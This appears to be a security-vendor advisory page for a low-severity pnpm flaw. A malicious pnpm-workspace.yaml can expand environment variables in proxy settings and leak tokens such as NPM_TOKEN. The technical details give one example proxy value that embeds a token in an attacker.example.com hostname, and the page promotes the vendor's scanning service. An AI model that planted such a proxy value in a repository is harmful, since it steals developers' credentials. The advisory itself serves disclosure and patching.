Is This vulnerability exploited in the wild?

No. Junglewise Threat Intelligence has no report of This vulnerability being exploited in the wild.

How severe is This vulnerability?

Low severity, with a CVSS score of 3.1, published 1 September 2026.

Which products and versions are affected?

pnpm (npm) SEMVER:introduced=11.0.0,fixed=11.11.0.

Is there a fix for This vulnerability?

Yes. pnpm (npm): upgrade to 11.11.0 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

How is This vulnerability attacked?

It is attacked over the network, in a software library.

Check whether you run pnpm (npm) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

pnpm environment secret exfiltration via proxy settings in workspace manifest

Severity: low · CVSS 3.1 · Published 2026-09-01

pnpm is a Node.js package manager used to install and manage project dependencies. When a developer clones and runs pnpm install in a malicious repository, an attacker can craft the project's configuration file (pnpm-workspace.yaml) to intercept and exfiltrate sensitive environment variables like API tokens (NPM_TOKEN, GITHUB_TOKEN) by routing package installation traffic through a proxy server controlled by the attacker. The vulnerability allows attackers to steal credentials without any prior access to the developer's systems or requiring additional user interaction beyond the normal package installation process.

Technologies: pnpm (npm). Vendors: npm.

Quick answers

Is This vulnerability exploited in the wild?: No. Junglewise Threat Intelligence has no report of This vulnerability being exploited in the wild.
How severe is This vulnerability?: Low severity, with a CVSS score of 3.1, published 1 September 2026.
Which products and versions are affected?: pnpm (npm) SEMVER:introduced=11.0.0,fixed=11.11.0.
Is there a fix for This vulnerability?: Yes. pnpm (npm): upgrade to 11.11.0 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
How is This vulnerability attacked?: It is attacked over the network, in a software library.
Am I affected?: Check whether you run pnpm (npm) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

How to fix

pnpm (npm): upgrade to 11.11.0 or later
```
npm install pnpm@11.11.0
```

Technical details

pnpm expands ${VAR} environment variable placeholders in the httpProxy, httpsProxy, and noProxy configuration settings when they are read from a project's pnpm-workspace.yaml manifest file. An attacker who controls the repository can set these proxy settings to URLs containing placeholder references (e.g., "http://${NPM_TOKEN}.attacker.example.com:8080"), which are expanded to include the actual environment variable value. Because pnpm-workspace.yaml is repository-controlled and expansion happens during config loading before lifecycle scripts run, a victim only needs to clone the repo and run pnpm install. The vulnerability exists because while pnpm already suppresses env-placeholder expansion for other registry-related settings from untrusted manifests, the proxy keys were omitted from that guard set. Patches are available in pnpm 10.34.5 and 11.11.0, which add proxy keys to the list of request-destination settings that skip placeholder expansion when loaded from untrusted manifests.

Affected products

pnpm pnpm 10.7.0 to 10.34.4, 11.0.0 to 11.10.3

Timeline

2026-09-01: disclosed: Advisory published on OSV and GitHub
2026-09-01: patched: pnpm 10.34.5 and 11.11.0 released with fix

References

This page as Markdown. Free to reuse under CC BY 4.0 with a link back.